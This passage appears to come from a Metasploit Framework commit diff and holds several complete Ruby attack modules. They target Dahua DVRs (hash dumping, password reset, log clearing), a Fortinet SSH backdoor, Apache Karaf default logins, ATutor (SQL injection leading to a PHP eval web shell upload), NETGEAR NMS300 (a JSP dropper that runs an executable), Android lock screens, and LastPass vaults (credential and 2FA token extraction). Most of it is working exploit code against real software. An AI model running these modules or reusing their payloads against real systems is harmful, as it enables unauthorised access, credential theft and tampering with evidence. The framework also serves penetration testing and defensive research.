user, md5hash, groups, rights, name = val.match(/^.*:(.*):(.*):(.*):(.*):(.*):(.*)$/).captures
users_table << [ peer, user, md5hash, groups, rights, name]
# Write the dahua hash to the database
hash = "#{rhost} #{user}:$dahua$#{md5hash}"
report_hash(rhost, rport, user, hash)
# Write the vulnerability to the database
report_vuln(
host: rhost,
port: rport,
proto: 'tcp',
sname: 'dvr',
name: 'Dahua Authentication Password Hash Exposure',
info: "Obtained password hash for user #{user}: #{md5hash}",
refs: references
)
end
users_table.print
end
def grab_groups
connect
sock.put(GROUPS)
return unless (response = sock.get_once)
data = response.split('&&')
groups_table = Rex::Ui::Text::Table.new(
'Header' => 'Dahua groups',
'Indent' => 1,
'Columns' => ['ID', 'Peer', 'Group']
)
data.each do |val|
number = "#{val[/(([\d]+))/]}"
groups = "#{val[/(([a-z]+))/]}"
groups_table << [ number, peer, groups ]
end
groups_table.print
end
def reset_user
connect
userstring = datastore['USERNAME'] + ":Intel:" + @password + ":" + @password
u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring
sock.put(u1)
sock.put(u2)
sock.put(u3)
sock.get_once
sock.put(u1)
return unless sock.get_once
print_good("#{peer} -- user #{datastore['USERNAME']}'s password reset to #{@password}")
end
def clear_logs
connect
sock.put(CLEAR_LOGS1)
sock.put(CLEAR_LOGS2)
print_good("#{peer} -- logs cleared")
end
def peer
"#{rhost}:#{rport}"
end
def run_host(_ip)
begin
connect
sock.put(U1)
data = sock.recv(8)
disconnect
return unless data == DVR_RESP
print_good("#{peer} -- Dahua-based DVR found")
report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR")
case action.name.upcase
when 'CHANNEL'
grab_channels
when 'DDNS'
grab_ddns
when 'EMAIL'
grab_email
when 'GROUP'
grab_groups
when 'NAS'
grab_nas
when 'RESET'
reset_user
when 'SERIAL'
grab_serial
when 'USER'
grab_users
when 'VERSION'
grab_version
end
clear_logs if datastore['CLEAR_LOGS']
ensure
disconnect
end
end
def report_hash(rhost, rport, user, hash)
service_data = {
address: rhost,
port: rport,
service_name: 'dahua_dvr',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
origin_type: :service,
private_data: hash,
private_type: :nonreplayable_hash,
jtr_format: 'dahua_hash',
username: user
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
def report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)
service_data = {
address: ddns_server,
port: ddns_port,
service_name: 'ddns settings',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
origin_type: :service,
private_data: ddns_pass,
private_type: :password,
username: ddns_user
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
def report_email_cred(mailserver, mailport, muser, mpass)
service_data = {
address: mailserver,
port: mailport,
service_name: 'email settings',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
origin_type: :service,
private_data: mpass,
private_type: :password,
username: muser
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
end

View File

@ -0,0 +1,79 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::Fortinet
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Fortinet SSH Backdoor Scanner',
'Description' => %q{
This module scans for the Fortinet SSH backdoor.
},
'Author' => [
'operator8203 <operator8203[at]runbox.com>', # PoC
'wvu' # Module
],
'References' => [
['CVE', '2016-1909'],
['EDB', '39224'],
['PACKETSTORM', '135225'],
['URL', 'http://seclists.org/fulldisclosure/2016/Jan/26'],
['URL', 'https://blog.fortinet.com/post/brief-statement-regarding-issues-found-with-fortios']
],
'DisclosureDate' => 'Jan 09 2016',
'License' => MSF_LICENSE
))
register_options([
Opt::RPORT(22)
])
register_advanced_options([
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
])
end
def run_host(ip)
ssh_opts = {
port: datastore['RPORT'],
auth_methods: ['fortinet-backdoor']
}
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
begin
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(
ip,
'Fortimanager_Access',
ssh_opts
)
end
rescue Net::SSH::Exception => e
vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
return
end
if ssh
print_good("#{ip}:#{rport} - Logged in as Fortimanager_Access")
report_vuln(
:host => ip,
:name => self.name,
:refs => self.references,
:info => ssh.transport.server_version.version
)
end
end
def rport
datastore['RPORT']
end
end

View File

@ -0,0 +1,138 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'net/ssh'
require 'metasploit/framework/login_scanner/ssh'
require 'metasploit/framework/credential_collection'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::CommandShell
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
DEFAULT_USERNAME = 'karaf'
DEFAULT_PASSWORD = 'karaf'
def initialize
super(
'Name' => 'Apache Karaf Login Utility',
'Description' => %q{
This module attempts to log into Apache Karaf's SSH. If the TRYDEFAULTCRED option is
set, then it will also try the default 'karaf' credential.
},
'Author' => [
'Samuel Huckins',
'Brent Cook',
'Peer Aagaard',
'Greg Mikeska',
'Dev Mohanty'
],
'License' => MSF_LICENSE
)
register_options(
[
# TODO Set default user, pass
Opt::RPORT(8101),
OptBool.new('TRYDEFAULTCRED', [true, 'Specify whether to try default creds', true])
], self.class
)
register_advanced_options(
[
Opt::Proxies,
OptBool.new('STOP_ON_SUCCESS', [ false, '', true]),
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
def rport
datastore['RPORT']
end
def gather_proof
proof = ''
begin
Timeout.timeout(5) do
proof = ssh_socket.exec!("shell:info\n").to_s
end
rescue Timeout::Error
end
proof
end
def run_host(ip)
@ip = ip
print_status("Attempting login to #{ip}:#{rport}...")
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
)
if datastore['TRYDEFAULTCRED']
if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?
cred_collection.add_public(DEFAULT_USERNAME)
cred_collection.add_private(DEFAULT_PASSWORD)
else
cred_collection.username = DEFAULT_USERNAME
cred_collection.password = DEFAULT_PASSWORD
end
end
scanner = Metasploit::Framework::LoginScanner::SSH.new(
host: ip,
port: rport,
cred_details: cred_collection,
proxies: datastore['Proxies'],
stop_on_success: datastore['STOP_ON_SUCCESS'],
connection_timeout: datastore['SSH_TIMEOUT'],
framework: framework,
framework_module: self,
)
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: self.fullname,
workspace_id: myworkspace_id
)
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
if /key length too short/i === result.proof.message
vprint_brute :level => :verror, :ip => ip, :msg => "Could not connect to Apache Karaf: #{result.proof} (net/ssh out of date)"
else
vprint_brute :level => :verror, :ip => ip, :msg => "Could not connect to Apache Karaf: #{result.proof}"
end
scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed?
invalidate_login(credential_data)
when Metasploit::Model::Login::Status::INCORRECT
vprint_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
invalidate_login(credential_data)
scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed?
else
invalidate_login(credential_data)
scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed?
end
end
end
end

View File

@ -0,0 +1,339 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',
'Description' => %q{
This module exploits a SQL Injection vulnerability and an authentication weakness
vulnerability in ATutor. This essentially means an attacker can bypass authenication
and reach the administrators interface where they can upload malcious code.
You are required to login to the target to reach the SQL Injection, however this
can be done as a student account and remote registration is enabled by default.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
],
'References' =>
[
[ 'CVE', '2016-2555' ],
[ 'URL', 'http://www.atutor.ca/' ] # Official Website
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Mar 1 2016',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
OptString.new('USERNAME', [true, 'The username to authenticate as']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
],self.class)
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def check
# the only way to test if the target is vuln
begin
test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
rescue Msf::Exploit::Failed => e
vprint_error(e.message)
return Exploit::CheckCode::Unknown
end
if test_injection(test_cookie)
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def create_zip_file
zip_file = Rex::Zip::Archive.new
@header = Rex::Text.rand_text_alpha_upper(4)
@payload_name = Rex::Text.rand_text_alpha_lower(4)
@plugin_name = Rex::Text.rand_text_alpha_lower(3)
path = "#{@plugin_name}/#{@payload_name}.php"
register_file_for_cleanup("#{@payload_name}.php", "../../content/module/#{path}")
zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
zip_file.pack
end
def exec_code
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
})
end
def upload_shell(cookie)
post_data = Rex::MIME::Message.new
post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")
post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")
data = post_data.to_s
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "install_modules.php"),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => cookie,
'agent' => 'Mozilla'
})
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection),
'cookie' => cookie,
'agent' => 'Mozilla',
})
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"),
'cookie' => cookie,
'agent' => 'Mozilla',
})
return true
end
end
# auth failed if we land here, bail
fail_with(Failure::Unknown, "Unable to upload php code")
return false
end
def get_hashed_password(token, password, bypass)
if bypass
return Rex::Text.sha1(password + token)
else
return Rex::Text.sha1(Rex::Text.sha1(password) + token)
end
end
def login(username, password, bypass)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "login.php"),
'agent' => 'Mozilla',
})
token = $1 if res.body =~ /\) \+ \"(.*)\"\);/
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/
if bypass
password = get_hashed_password(token, password, true)
else
password = get_hashed_password(token, password, false)
end
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "login.php"),
'vars_post' => {
'form_password_hidden' => password,
'form_login' => username,
'submit' => 'Login'
},
'cookie' => cookie,
'agent' => 'Mozilla'
})
cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/
# this is what happens when no state is maintained by the http client
if res && res.code == 302
if res.redirection.to_s.include?('bounce.php?course=0')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, res.redirection),
'cookie' => cookie,
'agent' => 'Mozilla'
})
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, res.redirection),
'cookie' => cookie,
'agent' => 'Mozilla'
})
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
return cookie
end
else res.redirection.to_s.include?('admin/index.php')
# if we made it here, we are admin
return cookie
end
end
# auth failed if we land here, bail
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
return nil
end
def perform_request(sqli, cookie)
# the search requires a minimum of 3 chars
sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='"
rand_key = Rex::Text.rand_text_alpha(1)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "mods", "_standard", "social", "connections.php"),
'vars_post' => {
"search_friends_#{rand_key}" => sqli,
'rand_key' => rand_key,
'search' => 'Search People'
},
'cookie' => cookie,
'agent' => 'Mozilla'
})
return res.body
end
def dump_the_hash(cookie)
extracted_hash = ""
sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)"
login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i
for i in 1..login_and_hash_length
sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))"
asciival = generate_sql_and_test(false, false, sqli, cookie)
if asciival >= 0
extracted_hash << asciival.chr
end
end
return extracted_hash.split(":")
end
def get_ascii_value(sql, cookie)
lower = 0
upper = 126
while lower < upper
mid = (lower + upper) / 2
sqli = "#{sql}>#{mid}"
result = perform_request(sqli, cookie)
if result =~ /There are \d entries./
lower = mid + 1
else
upper = mid
end
end
if lower > 0 and lower < 126
value = lower
else
sqli = "#{sql}=#{lower}"
result = perform_request(sqli, cookie)
if result =~ /There are \d entries./
value = lower
end
end
return value
end
def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie)
if do_test
if do_true
result = perform_request("1=1", cookie)
if result =~ /There are \d entries./
return true
end
else not do_true
result = perform_request("1=2", cookie)
if not result =~ /There are \d entries./
return true
end
end
elsif not do_test and sql
return get_ascii_value(sql, cookie)
end
end
def test_injection(cookie)
if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie)
if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie)
return true
end
end
return false
end
def report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name: ssl ? 'https' : 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
post_reference_name: self.refname,
private_data: opts[:password],
origin_type: :service,
private_type: :password,
username: opts[:user]
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
last_attempted_at: Time.now
}.merge(service_data)
create_credential_login(login_data)
end
def exploit
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...")
report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])
print_status("Dumping username and password hash...")
# we got admin hash now
credz = dump_the_hash(student_cookie)
print_good("Got the #{credz[0]} hash: #{credz[1]} !")
if credz
admin_cookie = login(credz[0], credz[1], true)
print_status("Logged in as #{credz[0]}, uploading shell...")
# install a plugin
if upload_shell(admin_cookie)
print_good("Shell upload successful!")
# boom
exec_code
end
end
end
end

View File

@ -0,0 +1,143 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'NETGEAR ProSafe Network Management System 300 Arbitrary File Upload',
'Description' => %q{
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
The application has a file upload vulnerability that can be exploited by an
unauthenticated remote attacker to execute code as the SYSTEM user.
Two servlets are vulnerable, FileUploadController (located at
/lib-1.0/external/flash/fileUpload.do) and FileUpload2Controller (located at /fileUpload.do).
This module exploits the latter, and has been tested with versions 1.5.0.2, 1.4.0.17 and
1.1.0.13.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2016-1525'],
['US-CERT-VU', '777024'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'],
['URL', 'http://seclists.org/fulldisclosure/2016/Feb/30']
],
'DefaultOptions' => { 'WfsDelay' => 5 },
'Platform' => 'win',
'Arch' => ARCH_X86,
'Privileged' => true,
'Targets' =>
[
[ 'NETGEAR ProSafe Network Management System 300 / Windows', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 4 2016'))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, "Application path", '/'])
], self.class)
end
def check
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'),
'method' => 'GET'
})
if res && res.code == 405
Exploit::CheckCode::Detected
else
Exploit::CheckCode::Safe
end
end
def generate_jsp_payload
exe = generate_payload_exe
base64_exe = Rex::Text.encode_base64(exe)
payload_name = rand_text_alpha(rand(6)+3)
var_raw = 'a' + rand_text_alpha(rand(8) + 3)
var_ostream = 'b' + rand_text_alpha(rand(8) + 3)
var_buf = 'c' + rand_text_alpha(rand(8) + 3)
var_decoder = 'd' + rand_text_alpha(rand(8) + 3)
var_tmp = 'e' + rand_text_alpha(rand(8) + 3)
var_path = 'f' + rand_text_alpha(rand(8) + 3)
var_proc2 = 'e' + rand_text_alpha(rand(8) + 3)
jsp = %Q|
<%@page import="java.io.*"%>
<%@page import="sun.misc.BASE64Decoder"%>
<%
try {
String #{var_buf} = "#{base64_exe}";
BASE64Decoder #{var_decoder} = new BASE64Decoder();
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
File #{var_tmp} = File.createTempFile("#{payload_name}", ".exe");
String #{var_path} = #{var_tmp}.getAbsolutePath();
BufferedOutputStream #{var_ostream} =
new BufferedOutputStream(new FileOutputStream(#{var_path}));
#{var_ostream}.write(#{var_raw});
#{var_ostream}.close();
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
} catch (Exception e) {
}
%>
|
jsp.gsub!(/[\n\t\r]/, '')
return jsp
end
def exploit
jsp_payload = generate_jsp_payload
jsp_name = Rex::Text.rand_text_alpha(8+rand(8))
jsp_full_name = "null#{jsp_name}.jsp"
post_data = Rex::MIME::Message.new
post_data.add_part(jsp_name, nil, nil, 'form-data; name="name"')
post_data.add_part(jsp_payload,
"application/octet-stream", 'binary',
"form-data; name=\"Filedata\"; filename=\"#{Rex::Text.rand_text_alpha(6+rand(10))}.jsp\"")
data = post_data.to_s
print_status("#{peer} - Uploading payload...")
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
if res && res.code == 200 && res.body.to_s =~ /{"success":true, "file":"#{jsp_name}.jsp"}/
print_status("#{peer} - Payload uploaded successfully")
else
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
end
print_status("#{peer} - Executing payload...")
send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], jsp_full_name),
'method' => 'GET'
})
handler
end
end

View File

@ -63,13 +63,12 @@ class Metasploit4 < Msf::Post
return
end
output = cmd_exec('am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task')
if output =~ /Error:/
print_error("The Intent could not be started")
vprint_status("Command output: #{output}")
else
result = session.android.activity_start('intent:#Intent;launchFlags=0x8000;component=com.android.settings/.ChooseLockGeneric;i.lockscreen.password_type=0;B.confirm_credentials=false;end')
if result.nil?
print_good("Intent started, the lock screen should now be a dud.")
print_good("Go ahead and manually swipe or provide any pin/password/pattern to continue.")
else
print_error("The Intent could not be started: #{result}")
end
end

View File

@ -1,7 +1,12 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'base64'
require 'sqlite3'
require 'uri'
require 'rex'
class Metasploit3 < Msf::Post
include Msf::Post::File
@ -10,22 +15,26 @@ class Metasploit3 < Msf::Post
include Msf::Post::Unix
def initialize(info = {})
super(
update_info(
info,
'Name' => 'LastPass Master Password Extractor',
'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords',
'License' => MSF_LICENSE,
'Author' => [
super(update_info(info,
'Name' => 'LastPass Vault Decryptor',
'Description' => %q{
This module extracts and decrypts LastPass master login accounts and passwords,
encryption keys, 2FA tokens and all the vault passwords
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research
'Martin Vigo <martinvigo[at]gmail.com>', # original module and research
'Jon Hart <jon_hart[at]rapid7.com>' # module rework and cleanup
],
'Platform' => %w(linux osx unix win),
'References' => [['URL', 'http://www.martinvigo.com/a-look-into-lastpass/']],
'SessionTypes' => %w(meterpreter shell)
)
)
'Platform' => %w(linux osx unix win),
'References' =>
[
[ 'URL', 'http://www.martinvigo.com/even-the-lastpass-will-be-stolen-deal-with-it' ]
],
'SessionTypes' => %w(meterpreter shell)
))
end
def run
@ -42,129 +51,108 @@ class Metasploit3 < Msf::Post
return
end
print_status "Extracting credentials from #{account_map.size} LastPass databases"
print_status "Extracting credentials"
extract_credentials(account_map)
# an array of [user, encrypted password, browser]
credentials = [] # All credentials to be decrypted
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, paths|
if browser == 'Firefox'
paths.each do |path|
data = read_file(path)
loot_path = store_loot(
'firefox.preferences',
'text/javascript',
session,
data,
nil,
"Firefox preferences file #{path}"
)
print_status "Extracting 2FA tokens"
extract_2fa_tokens(account_map)
# Extract usernames and passwords from preference file
firefox_credentials(loot_path).each do |creds|
credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])]
end
end
else # Chrome, Safari and Opera
paths.each do |path|
data = read_file(path)
loot_path = store_loot(
"#{browser.downcase}.lastpass.database",
'application/x-sqlite3',
session,
data,
nil,
"#{account}'s #{browser} LastPass database #{path}"
)
print_status "Extracting vault and iterations"
extract_vault_and_iterations(account_map)
# Parsing/Querying the DB
db = SQLite3::Database.new(loot_path)
lastpass_user, lastpass_pass = db.execute(
"SELECT username, password FROM LastPassSavedLogins2 " \
"WHERE username IS NOT NULL AND username != '' " \
"AND password IS NOT NULL AND password != '';"
).flatten
if lastpass_user && lastpass_pass
credentials << [account, browser, lastpass_user, lastpass_pass]
end
end
end
end
end
print_status "Extracting encryption keys"
extract_vault_keys(account_map)
credentials_table = Rex::Ui::Text::Table.new(
'Header' => "LastPass credentials",
'Indent' => 1,
'Columns' => %w(Account Browser LastPass_Username LastPass_Password)
)
# Parse and decrypt credentials
credentials.each do |row| # Decrypt passwords
account, browser, user, enc_pass = row
vprint_status "Decrypting password for #{account}'s #{user} from #{browser}"
password = clear_text_password(user, enc_pass)
credentials_table << [account, browser, user, password]
end
unless credentials.empty?
print_good credentials_table.to_s
path = store_loot(
"lastpass.creds",
"text/csv",
session,
credentials_table.to_csv,
nil,
"Decrypted LastPass Master Passwords"
)
end
print_lastpass_data(account_map)
end
# Returns a mapping of { Account => { Browser => paths } }
# Returns a mapping of lastpass accounts
def build_account_map
platform = session.platform
profiles = user_profiles
found_dbs_map = {}
if datastore['VERBOSE']
vprint_status "Found #{profiles.size} users: #{profiles.map { |p| p['UserName'] }.join(', ')}"
else
print_status "Found #{profiles.size} users"
end
account_map = {}
profiles.each do |user_profile|
account = user_profile['UserName']
browser_path_map = {}
localstorage_path_map = {}
cookies_path_map = {}
case platform
when /win/
browser_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles",
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
}
localstorage_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
'Firefox' => "#{user_profile['LocalAppData']}Low\\LastPass",
'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
}
cookies_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Cookies",
'Firefox' => "", # It's set programmatically
'IE' => "#{user_profile['LocalAppData']}\\Microsoft\\Windows\\INetCookies\\Low",
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Cookies"
}
when /unix|linux/
browser_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox"
'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
}
localstorage_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
'Firefox' => "#{user_profile['LocalAppData']}/.lastpass",
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
}
cookies_path_map = { # TODO
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Cookies",
'Firefox' => "", # It's set programmatically
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Cookies"
}
when /osx/
browser_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
'Firefox' => "#{user_profile['LocalAppData']}\\Firefox\\Profiles",
'Firefox' => "#{user_profile['LocalAppData']}/Firefox/Profiles",
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
}
localstorage_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
'Firefox' => "#{user_profile['AppData']}/Containers/com.lastpass.LastPass/Data/Library/Application Support/LastPass",
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
